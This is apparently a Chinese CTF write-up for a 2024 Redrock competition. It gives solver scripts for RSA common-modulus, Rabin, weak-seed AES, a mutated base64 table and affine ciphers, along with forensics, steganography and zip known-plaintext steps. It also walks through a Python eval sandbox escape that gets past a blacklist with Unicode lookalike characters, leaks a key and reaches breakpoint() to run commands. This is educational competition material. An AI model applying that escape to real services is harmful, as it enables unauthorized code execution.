1 2 p = 10081932238315687385012770550954823451545276153393768112021419941754686286903347341478095241885982205637699145202277483655169520745793948809883772697874271 q = 9280610790332015367967947019388344032975159169222776482071968113988805081077001455196347969558947825585792338745716738744981938064809025468640079632430247
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from Crypto.Util.number import long_to_bytesfrom sympy import invertp = 10081932238315687385012770550954823451545276153393768112021419941754686286903347341478095241885982205637699145202277483655169520745793948809883772697874271 q = 9280610790332015367967947019388344032975159169222776482071968113988805081077001455196347969558947825585792338745716738744981938064809025468640079632430247 n = 93566489118308776213548693331730790051986994076752268755785265897482150175977191873408574414830058267133131613604483143078795628416063654383346104078580911952745697991375522526922908516196249414857302497260198309866671553599009574215710156854318056264828988885111028008676481908027550985766902115890583474937 c = 75747531080369602384428056951120987878900186477845434909504204471844047514139676853422617338712469202949435192552055475351523114283415371682553171988771857834140270923322175073118710434744943142539112104330240766284072851443916329309536962182662035765061720542151824288467075008996934135910736793674898991433 e = 65536 phi = (p-1 )*(q-1 ) x0=invert(p,q) x1=invert(q,p) cs = [c] for i in range (16 ): ms = [] for c2 in cs: r = pow (c2, (p + 1 ) // 4 , p) s = pow (c2, (q + 1 ) // 4 , q) x = (r * x1 * q + s * x0 * p) % n y = (r * x1 * q - s * x0 * p) % n if x not in ms: ms.append(x) if n - x not in ms: ms.append(n - x) if y not in ms: ms.append(y) if n - y not in ms: ms.append(n - y) cs = ms for m in ms: flag = long_to_bytes(m) if b'Red' in flag: print (flag)
Classic_AES 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import randomfrom Crypto.Cipher import AESimport base64import osdef generate_key (seed ): random.seed(seed) key = bytes ([random.randint(0 , 255 ) for _ in range (16 )]) return key def encrypt (plaintext, key ): cipher = AES.new(key, AES.MODE_ECB) padded_plaintext = plaintext + (16 - len (plaintext) % 16 ) * chr (16 - len (plaintext) % 16 ) ciphertext = cipher.encrypt(padded_plaintext.encode()) return base64.b64encode(ciphertext).decode() if __name__ == "__main__" : flag = "Redrock{fake_flag}" seed = a small Integer key = generate_key(seed) encrypted_flag = encrypt(flag, key) print ( encrypted_flag )
ECB模式单一的Key,解密特点一对一,块独立
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import randomfrom Crypto.Cipher import AESimport base64def generate_key (seed ): random.seed(seed) key = bytes ([random.randint(0 , 255 ) for _ in range (16 )]) return key def decrypt (ciphertext, key ): cipher = AES.new(key, AES.MODE_ECB) decoded_ciphertext = base64.b64decode(ciphertext) decrypted_data = cipher.decrypt(decoded_ciphertext) padding_length = decrypted_data[-1 ] return decrypted_data[:-padding_length].decode() if __name__ == "__main__" : encrypted_flag = "YGOe0JI/BJeUq8dCzqYKbXcXyqNr5gJE0pFko9PzgzOzsf+orKvRKxrvr2RV7KpK" for seed in range (1 , 10001 ): key = generate_key(seed) try : decrypted_flag = decrypt(encrypted_flag, key) if "Redrock" in decrypted_flag: print (f"Seed: {seed} , Decrypted: {decrypted_flag} " ) break except Exception as e: continue
real1ty的大秘密 解压出来一看800多MB,这完全打不开,但winhex能打开,发现很长的Base编码,这里直接脚本跑循环base编码,解到32次的时候解不出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import re, base64s = open ('C:\\Users\\23800\\Desktop\\2024红岩杯\\Misc\\real1ty的大秘密\\encrypted_flag.txt' , 'rb' ).read() base16_dic = r'^[A-F0-9=]*$' base32_dic = r'^[A-Z2-7=]*$' base64_dic = r'^[A-Za-z0-9/+=]*$' n = 0 while True : n += 1 t = s.decode() if '{' in t: print (t) break elif re.match (base16_dic, t): s = base64.b16decode(s) if n == 31 : print (f"After {n} base16 decodes: {t} " ) print (str (n) + ' base16' ) elif re.match (base32_dic, t): s = base64.b32decode(s) if n == 31 : print (f"After {n} base32 decodes: {t} " ) print (str (n) + ' base32' ) elif re.match (base64_dic, t): s = base64.b64decode(s) if n == 31 : print (f"After {n} base64 decodes: {t} " ) print (str (n) + ' base64' )
1 UmVkcm95a3tyZWFsMXRHX3IzbDFlc19Pbl95cnlQdG9fYUBkX3kwdV9rTm93X2I0c2VfaTVfTm90X3NlY3VyM19yMWdodD9GYnoyV5EyZndSfQ==
是的,如题,这里是变异base64,故名思义就是把标准的base64密码表中的字符交换了,题目说交换了三个,咱直接脚本爆破出来就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import base64import itertoolsbase64_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' encoded_str = "UmVkcm95a3tyZWFsMXRHX3IzbDFlc19Pbl95cnlQdG9fYUBkX3kwdV9rTm93X2I0c2VfaTVfTm90X3NlY3VyM19yMWdodD9GYnoyV5EyZndSfQ==" def swap_and_decode (encoded_str, swap_combination ): swap1, swap2, swap3 = swap_combination swapped_chars = list (base64_chars) for i in range (len (swapped_chars)): if swapped_chars[i] == swap1: swapped_chars[i] = swap2 elif swapped_chars[i] == swap2: swapped_chars[i] = swap1 elif swapped_chars[i] == swap3: swapped_chars[i] = swap3 new_base64_chars = '' .join(swapped_chars) try : translation_table = str .maketrans(base64_chars, new_base64_chars) mutated_str = encoded_str.translate(translation_table) decoded = base64.b64decode(mutated_str).decode('utf-8' , 'ignore' ) if 'Redrock{real1t' in decoded: return decoded except Exception as e: pass return None def find_all_decodings (encoded_str ): results = [] for swap_combination in itertools.permutations(base64_chars, 3 ): result = swap_and_decode(encoded_str, swap_combination) if result: results.append((result, swap_combination)) return results decoded_flags = find_all_decodings(encoded_str) if decoded_flags: for decoded_flag, swap_combination in decoded_flags: print (swap_combination) print (decoded_flag)
easy_crypto part1.txt
1 2 3 4 5 {179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639476135548957384814430421380051950478165216024326171811091664303054708946946973913520433391685552272677504015463314271147575309020901508290327321376975136757241,1029} {179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639476135548957384814430421380051950478165216024326171811091664303054708946946973913520433391685552272677504015463314271147575309020901508290327321376975136757241,827} message1 = 56545020805136418293440919930294895684949798741451490408570595412037724082309023842114075953893445556071632746051594135629626714258557177367434847674164943078594515152776556013148685904959148059648224378023132423155966444483361043867306203923409877858486344542977617022142116932973956814881845183864393123403 message2 = 127604537050053899598259650213960579430244257592544686684452027214314261904446265636510087811421840405928995444094382461621710147230572487111756388125153893798272225912775053505528947449567621431171392368455109845661012577915003571467217562674667366180475429671314224814810852431552635506388311909734110324047
part2.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def affine_encrypt (plaintext, a, b ): m = 26 ciphertext = "" for char in plaintext: if char.isalpha(): is_upper = char.isupper() char = char.lower() x = ord (char) - ord ('a' ) y = (a * x + b) % m encrypted_char = chr (y + ord ('a' )) if is_upper: encrypted_char = encrypted_char.upper() ciphertext += encrypted_char else : ciphertext += char return ciphertext if __name__ == "__main__" : a = b = plaintext = "" encrypted_text = affine_encrypt(plaintext, a, b) print ("加密结果:" , encrypted_text)
脑子痒痒的,有点事后诸葛亮的意思,当时给了part1一直不知道啥意思,但是模数N相同应该想到共模攻击的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import gmpy2import libnumfrom Crypto.Util.number import long_to_bytes, bytes_to_longn=179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639476135548957384814430421380051950478165216024326171811091664303054708946946973913520433391685552272677504015463314271147575309020901508290327321376975136757241 e1=1029 c1=56545020805136418293440919930294895684949798741451490408570595412037724082309023842114075953893445556071632746051594135629626714258557177367434847674164943078594515152776556013148685904959148059648224378023132423155966444483361043867306203923409877858486344542977617022142116932973956814881845183864393123403 e2=827 c2=127604537050053899598259650213960579430244257592544686684452027214314261904446265636510087811421840405928995444094382461621710147230572487111756388125153893798272225912775053505528947449567621431171392368455109845661012577915003571467217562674667366180475429671314224814810852431552635506388311909734110324047 def rsa_gong_N_def (e1,e2,c1,c2,n ): e1, e2, c1, c2, n=int (e1),int (e2),int (c1),int (c2),int (n) print ("e1,e2:" ,e1,e2) print (gmpy2.gcd(e1,e2)) s = gmpy2.gcdext(e1, e2) print (s) s1 = s[1 ] s2 = s[2 ] if s1 < 0 : s1 = - s1 c1 = gmpy2.invert(c1, n) elif s2 < 0 : s2 = - s2 c2 = gmpy2.invert(c2, n) m = (pow (c1,s1,n) * pow (c2 ,s2 ,n)) % n return int (m) m = rsa_gong_N_def(e1,e2,c1,c2,n) print (m)print (long_to_bytes(m))
1 2 3 4 5 e1,e2: 1029 827 1 (mpz(1), mpz(348), mpz(-433)) 666871727374757677788081868788904576826568717477808386666984879070 b'\x06U\x13Kv\xe0\xa3\xef\x90\x0b\x9b\xc3\x1c\x9dIQ\x9e\xb1r>\xdc\x8e\xe0\xb52?\xb3\xde'
这里最终只能正常得到一串数字
part2的话是一个仿射密码,不过缺少a和b。接下来实在不知道这串数字怎么用,wp给的是ASCII解密
1 2 3 4 numbers = "666871727374757677788081868788904576826568717477808386666984879070" pairs = [numbers[i:i+2 ] for i in range (0 , len (numbers), 2 )] result = '' .join([chr (int (pair)) for pair in pairs]) print (result)
1 BDGHIJKLMNPQVWXZ-LRADGJMPSVBETWZF
此时可以猜测BDGHIJKLMNPQVWXZ
经过仿射加密得到LRADGJMPSVBETWZF
,我们可以反求a和b
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def find_affine_parameters (plaintext, ciphertext ): plain_nums = [ord (c) - ord ('A' ) for c in plaintext] cipher_nums = [ord (c) - ord ('A' ) for c in ciphertext] for a in range (1 , 26 ): if gcd(a, 26 ) != 1 : continue for b in range (26 ): valid = True for p, c in zip (plain_nums, cipher_nums): if (a * p + b) % 26 != c: valid = False break if valid: return a, b return None def gcd (a, b ): while b: a, b = b, a % b return a plaintext = "BDGHIJKLMNPQVWXZ" ciphertext = "LRADGJMPSVBETWZF" result = find_affine_parameters(plaintext, ciphertext) print (f"a = {result[0 ]} , b = {result[1 ]} " )
最后求出flag即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 def mod_inverse (a, m ): """求a在模m下的乘法逆元""" def extended_gcd (a, b ): if a == 0 : return b, 0 , 1 gcd, x1, y1 = extended_gcd(b % a, a) x = y1 - (b // a) * x1 y = x1 return gcd, x, y gcd, x, y = extended_gcd(a, m) if gcd != 1 : raise Exception("模逆不存在" ) return (x % m + m) % m def affine_decrypt (ciphertext, a, b ): """仿射解密函数""" a_inv = mod_inverse(a, 26 ) plaintext = "" for char in ciphertext: if char.isalpha(): is_upper = char.isupper() char = char.lower() y = ord (char) - ord ('a' ) x = (a_inv * (y - b)) % 26 decrypted_char = chr (x + ord ('a' )) if is_upper: decrypted_char = decrypted_char.upper() plaintext += decrypted_char elif char.isdigit(): plaintext += char else : plaintext += char return plaintext if __name__ == "__main__" : a = 3 b = 8 ciphertext = "iL3Z7-Eb9F-2Wrc8" decrypted_text = affine_decrypt(ciphertext, a, b) print ("密文:" , ciphertext) print ("解密结果:" , decrypted_text)
1 redrock{aB3X7-Qp9Z-2Wdy8}
怎么说呢,难肯定不难,但就是有点无厘头的感觉,斯
Misc 290的小秘密
考察知识点:LSB隐写
stegsolve发现red,green,blue最低位图片底部有点不同,LSB最低有效位隐写
这还得熬多久
考察知识点:Python沙箱逃逸
进入后输入太长了不行,最多9个字符,输入得是表达式,否则返回
1 2 3 4 5 6 Traceback (most recent call last): File "/home/ctf/server.py", line 39, in <module> print('我的回答是:{}'.format(eval(input_data))) ^^^^^^^^^^^^^^^^ File "<string>", line 1, in <module> NameError: name 'q' is not defined
这里可以看到是eval执行
本来想用input()去绕过长度限制,但是发现被ban了
但其实要输入eval(input())
才会有用,所以搜索后发现可以用Unicode字符绕过
h𝓮lp()
现在sys模块下,发现了路径,在里面发现了如下内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 help> server Help on module server: NAME server FUNCTIONS filter_input(input_data) -> bool filter_input1(input_data) -> bool DATA WELCOME = '\n ____ __ __ \n / .../__/ ,... blacklist = ['exec', 'input', 'eval', 'help', 'os', 'import', '.', "'"... input_data = 'h𝓮lp()' secret_key = 'UBE1m9b0Yh2j' FILE /home/ctf/server.py
看起来是这个题目模块的一些信息,源码得知第二次输入要输入key
在第三次后输入breakpoint()
调试函数,可以执行任意命令
HardZip
考察知识点:明文攻击
第一关
给定的字典中去爆
第二关
用python脚本生成字典
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import itertoolsimport stringprefix = "SRE" suffix = "yyds" charset = string.ascii_letters + string.digits combinations = itertools.product(charset, repeat=4 ) with open ('dictionary.txt' , 'w' ) as file: for combination in combinations: password = prefix + '' .join(combination) + suffix file.write(password + '\n' ) print ("字典文件已生成:dictionary.txt" )
最后一关
是真加密,一开始想的是明文攻击,通过flag格式Redrock
去爆破,但是至少得12个字节,而png照片中的前12位是固定的文件头,将其写进文件中,用bkcrack爆破
1 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D
Are you a JPG master?
考察知识点:Java盲水印
得到密码
解出level2压缩包文件,里面有个字典和一张图片
stegseek解出
1 stegseek level2.jpg dic.txt
memory 内存取证,查看操作系统类型
发现有个secret.png
查看浏览器记录(这个要volatility2才行)
1 vol.py -f ../memory.vmem --profile Win7SP1x64 iehistory
但我两者都试了都未发现
查看剪切板
1 vol.py -f ../memory.vmem --profile Win7SP1x64 clipboard
part3也可以
1 strings ../memory.vmem | grep "part3"
1 Redrock{Memo3y_15_verY_111terest1ng}
我图图呢 图片无法打开一开始,用winhex查看
有IHDR和IDAT字样为png格式图片
将文件头改一下,并在末尾找到半个flag
CRC矫正宽高看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import zlibimport structwith open (r'C:\\Users\\23800\\Desktop\\2024红岩杯\\Misc\\我图图呢.png' , 'rb' ) as image_data: bin_data = image_data.read() data = bytearray (bin_data[12 :29 ]) crc32_bytes = bin_data[29 :33 ] crc32key = int .from_bytes(crc32_bytes, byteorder='big' ) n = 4096 for w in range (n): width = bytearray (struct.pack('>i' , w)) for h in range (n): height = bytearray (struct.pack('>i' , h)) for x in range (4 ): data[x + 4 ] = width[x] data[x + 8 ] = height[x] crc32result = zlib.crc32(data) if crc32result == crc32key: print ("width:%s height:%s" % (bytearray (width).hex (), bytearray (height).hex ())) exit()
1 width:00000166 height:000000ea
重生之我有Dengeki Novel Prize大奖
搜到这是一篇轻小说,应该是要输入正确的对话,小说名《败犬女主太多了!》
(不愧是二次元😆)
下载下来将EPUB格式转成TXT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import refrom ebooklib import epubfrom bs4 import BeautifulSoupimport warningsdef clean_text (text ): text = re.sub(r'[^\S\r\n]+' , ' ' , text) text = re.sub(r'\n{2,}' , '\n' , text) lines = [line.strip() for line in text.splitlines()] return "\n" .join(lines).strip() def epub_to_txt (epub_path, txt_path ): book = epub.read_epub(epub_path, options={'ignore_ncx' : True }) all_text = [] for item in book.get_items(): if item.media_type == 'application/xhtml+xml' : soup = BeautifulSoup(item.get_body_content(), 'html.parser' ) text = soup.get_text() cleaned_text = clean_text(text) all_text.append(cleaned_text) with open (txt_path, 'w' , encoding='utf-8' ) as f: f.write('\n\n' .join(all_text)) epub_to_txt('.\\败犬女主太多了\\7.epub' , '.\\7.txt' )
我们去output.txt
查找问题,答案为下一行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *import timewith open ("output.txt" , "r" , encoding="utf8" ) as f: all_list = [line.strip() for line in f.readlines()] all_dict = {} for i in range (len (all_list) - 1 ): all_dict[all_list[i].replace("\n" , "" )] = all_list[i + 1 ].replace("\n" , "" ) try : p = remote('127.0.0.1' , 37573 ) correct_count = 0 for _ in range (50 ): try : response = p.recvline() question = response.decode().split("提问: " )[-1 ].strip() print (f"\n第 {correct_count + 1 } 题" ) print ("question:" , question) debug_data = p.recv(1024 ) print ("Debug data received:" , debug_data.decode('utf-8' , errors='ignore' )) if question in all_dict: answer = all_dict[question] print ("answer:" , answer) p.sendline(answer.encode('utf-8' )) time.sleep(1 ) feedback = p.recvline().decode('utf-8' , errors='ignore' ) print ("服务器反馈:" , feedback) correct_count += 1 else : print ("No answer found for the question." ) break except EOFError: print (f"\n连接在第 {correct_count + 1 } 题时断开" ) print ("最后成功回答的题数:" , correct_count) break except Exception as e: print (f"\n发生其他错误: {str (e)} " ) break except Exception as e: print (f"连接出错: {str (e)} " ) finally : print (f"\n总共成功回答了 {correct_count} 题" ) p.close()
这道题有点靠运气,有时候会答案是对的但因为超时
Re 星のflag: 瓦豆鲁德篇 本身并不是RE手,但是这道题和Web那道一样的都要解包小程序,就顺手做了
这是本身源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 var _cryptoJs = _interopRequireDefault (require ("crypto-js" ));function _interopRequireDefault (obj ) { return obj && obj.__esModule ? obj : { default : obj }; }var arr = [[77.4545067721 , 166.6297572211 ], [704.8827384321 , 716.8839856722 ], [526.2712072012 , 797.5254055312 ], [3070.2807034611 , 3854.4357435722 ], [490.3246274911 , 36224.8858838722 ], [41404.3166443722 , 41673.1503183722 ], [6787.6554038721 , 46854.1678526621 ], [69504.4221148712 , 418677.4399131722 ], [587395.8927547721 , 646218.371960242 ], [23378.1410475611 , 862165.0667217221 ], [3425775.220405308 , 3679455.7534740176 ], [21376195.152235862 , 57806775.24392879 ], [136548100.36301744 , 2126740322.7827096 ], [3025384212.2862115 , 42887118354.86438 ], [2749728.820111889 , 20752727.611226656 ], [38414630.64337055 , 313629634.4837362 ], [33882710.842073366 , 345902224.4626296 ], [63832518.65776362 , 224151175.8626729 ], [713381630.9568518 , 2361680166.434476 ], [943572305.6985991 , 3249761735.8722763 ], [2182238279.357637 , 4762311856.787363 ], [2449920231.2722983 , 6453724258.242947 ], [5251427633.228511 , 42202975021.22658 ], [3586474625.7261167 , 36828433774.11296 ], [2438575572.788131 , 36686266931.434525 ], [87043816613.20274 , 297732697735.6053 ], [472044465269.30133 , 528171386733.36865 ], [312425872025.35376 , 807318802980.8772 ], [353533120613.98065 , 825428116861.4183 ], [504334778467.7691 , 1610323225786.69955 ], [573352925673.3484 , 8466494214312.498 ], [6291764415342.347 , 10584266511691.768 ], [38252576539970.57 , 56553309176751.18 ], [36782537271527.62 , 57371110527665.5 ]];function d (a, b, context ) { var s = 0.0001 ; var c = 0 ; for (var i = a; i < b; i += s) { if (!context.data .isContinue ) { return "" ; } c += (i + Math .sin (i)) * s; } var n = Math .floor (c).toString (); var r = n.slice (0 , Math .max (3 , Math .floor (n.length / 3 ))); var m = _cryptoJs.default .MD5 (r).toString (); return m[0 ]; } Page ({ data : { waddleDeesFlag : '' , isContinue : false }, onLoad : function onLoad ( ) {}, onGenerateFlag : function onGenerateFlag ( ) { this .setData ({ waddleDeesFlag : 'redrock{' , isContinue : true }); flagGenerator.call (this , 0 ); }, onStopGenerateFlag : function onStopGenerateFlag ( ) { this .setData ({ isContinue : false }); } }); function flagGenerator (index ) { var _this = this ; if (!this .data .isContinue || index >= arr.length ) { this .setData ({ waddleDeesFlag : "" .concat (this .data .waddleDeesFlag , "}" ) }); return ; } var a = arr[index][0 ]; var b = arr[index][1 ]; var nextChar = d (a, b, this ); if (nextChar) { this .setData ({ waddleDeesFlag : this .data .waddleDeesFlag + nextChar }); } setTimeout (function ( ) { flagGenerator.call (_this, index + 1 ); }, 100 ); } },{isPage :true ,isComponent :true ,currentFile :'pages/flag/flag.js' });require ("pages/flag/flag.js" );
函数d的逻辑是对f(x)=x+sinx
积分,采用的是无限切割的方法,切割的细粒度是0.0001,上下限为 [a,b],但我自己弄出来的脚本总是最后几位flag不对,很可惜
正确脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import hashlibimport mathimport randomimport numpy as npfrom scipy.integrate import quaddef integrate_x_plus_sin (lower, upper ): def integrand (x ): return x + np.sin(x) result, _ = quad(integrand, lower, upper, limit=10000 ) return result def f_conv_md5_first_letter (float_number ): result = int (float_number) str_number = str (result) length = len (str_number) third_length = max (3 , length // 3 ) result = int (str_number[:third_length]) md5_result = hashlib.md5(str (result).encode()).hexdigest() return md5_result[0 ] arr = [ [77.4545067721 , 166.6297572211 ], [704.8827384321 , 716.8839856722 ], [526.2712072012 , 797.5254055312 ], [3070.2807034611 , 3854.4357435722 ], [490.3246274911 , 36224.8858838722 ], [41404.3166443722 , 41673.1503183722 ], [6787.6554038721 , 46854.1678526621 ], [69504.4221148712 , 418677.4399131722 ], [587395.8927547721 , 646218.371960242 ], [23378.1410475611 , 862165.0667217221 ], [3425775.220405308 , 3679455.7534740176 ], [21376195.152235862 , 57806775.24392879 ], [136548100.36301744 , 2126740322.7827096 ], [3025384212.2862115 , 42887118354.86438 ], [2749728.820111889 , 20752727.611226656 ], [38414630.64337055 , 313629634.4837362 ], [33882710.842073366 , 345902224.4626296 ], [63832518.65776362 , 224151175.8626729 ], [713381630.9568518 , 2361680166.434476 ], [943572305.6985991 , 3249761735.8722763 ], [2182238279.357637 , 4762311856.787363 ], [2449920231.2722983 , 6453724258.242947 ], [5251427633.228511 , 42202975021.22658 ], [3586474625.7261167 , 36828433774.11296 ], [2438575572.788131 , 36686266931.434525 ], [87043816613.20274 , 297732697735.6053 ], [472044465269.30133 , 528171386733.36865 ], [312425872025.35376 , 807318802980.8772 ], [353533120613.98065 , 825428116861.4183 ], [504334778467.7691 , 1610323225786.69955 ], [573352925673.3484 , 8466494214312.498 ], [6291764415342.347 , 10584266511691.768 ], [38252576539970.57 , 56553309176751.18 ], [36782537271527.62 , 57371110527665.5 ] ] flag = "redrock{" for i in range (len (arr)): lower_limit = arr[i][0 ] upper_limit = arr[i][1 ] result = integrate_x_plus_sin(lower_limit, upper_limit) flag += f_conv_md5_first_letter(result) flag += "}" print (flag)
我当时的flag
1 redrock{aa8726a2c7c371195027ddce011338c2e5}
正确flag
1 redrock{aa8726a2c7c371195027ddce083df71983}